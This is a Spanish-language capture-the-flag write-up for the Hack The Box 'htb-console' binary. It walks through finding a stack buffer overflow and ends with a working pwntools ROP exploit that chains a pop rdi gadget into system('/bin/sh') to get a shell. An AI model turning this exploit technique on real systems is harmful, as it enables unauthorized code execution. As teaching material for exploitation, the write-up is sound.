Reversing
El binario entregado de primeras no nos deja claro el uso que este tiene o que hace
❯ ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> help
Unrecognized command.
>>
Podemos iniciar analizandolo con ida
, La función main
inicia llamando a puts
para mostrar un mensaje de bienvenida luego con printf
muestra un prompt para posteriormente recibir 16
bytes con fgets
que almacena en una variable command
, luego llama a la función console
pasandole command
como único argumento
La función console
recibe el comando en una variable option
e inicia comparandolo con strcmp
contra la string id\n
, si es igual sigue la linea roja de lo contrario sigue la verde que nuevamente usa strcmp
para ahora compararlo contra dir\n
Si el comando es igual a id\n
simula la salida del comando con puts
en el bloque de la izquierda, si es igual a dir\n
ahora muestra con puts
la cadena /home/HTB
Vamos con la siguiente comparación, al enviar la cadena flag\n
muestra un mensaje con printf
y con fgets
recibe 48
bytes en un buffer que inicia en rbp - 16
, aqui encontramos un buffer overflow ya que se reciben mas datos de los soportados
La siguiente comparación es contra la cadena hof\n
, si es igual recibe 10
bytes con fgets
que lo guarda en una variable global que llamamos buffer
, esta se guarda siempre de forma estática en la misma dirección 0x4040b0
en el segmento bss
Finalmente tenemos los comandos ls\n
y date\n
, el primero simula la salida con puts
pero el segundo si que ejecuta el comando con system
asi que está cargado
Explotación
Iniciamos mirando las protecciones con checksec
, este binario solo tiene activada la protección NX
que nos impedirá ejecutar shellcode directamente en el stack
❯ checksec htb-console
[*] '/home/user/htb-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Abrimos el programa con gdb
, iniciamos por comprobar el comando hof
, enviamos como entrada 8 A's
que como sabemos se ven reflejadas en la direccion 0x4040b0
❯ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
pwndbg> r
Starting program: /home/user/htb-console
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: AAAAAAAA
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
pwndbg> x/s 0x4040b0
0x4040b0: "AAAAAAAA"
pwndbg>
Ahora vamos con la verdadera vulnerabilidad, enviaremos 16 A's
, 8 B's
, 8 C's
y 24 D's
que suman los 48
bytes, al enviarlos en el comando flag
rellenamos con las A's
los 16
bytes antes de rbp
, rbp toma el valor de las B's
en el leave
y el return address apunta a las C's
, y al final en el stack quedan almacenadas las D's
❯ python3 -q
>>> b"A" * 16 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
>> flag
Enter flag: AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD
Whoops, wrong flag!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe298: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7fffffffe2a0: 'D' <repetidos 24 veces>
pwndbg>
Sabemos que el NX esta habilitado por lo que tendremos que usar ROP
, iniciamos buscando la direccion de system
para poder llamarla y asi ejecutar comandos
pwndbg> p system
$1 = {<text variable, no debug info>} 0x401040 <system@plt>
pwndbg>
Nuestra idea sera ejecutar una /bin/sh
pero para pasarsela como argumento a system
necesitamos guardar su referencia en rdi
para ello usaremos un pop rdi
❯ ropper --file htb-console --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: htb-console
0x0000000000401473: pop rdi; ret;
Resumiendo, el exploit llama a hof
para guardar la cadena /bin/sh
en la dirección 0x4040b0
, luego llama a flag
y rellena con A's
el offset hasta el return address, en el llama a pop rdi
que guarda la dirección 0x4040b0
en rdi
y finalmente llama a system
, como en esa dirección guardamos la string de /bin/sh
devuelve una shell
#!/usr/bin/python3
from pwn import process, p64
shell = process("./htb-console")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x401473) # pop rdi; ret;
payload += p64(0x4040b0) # "/bin/sh"
payload += p64(0x401040) # system()
shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")
shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)
shell.recvline()
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './htb-console': pid 288844
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$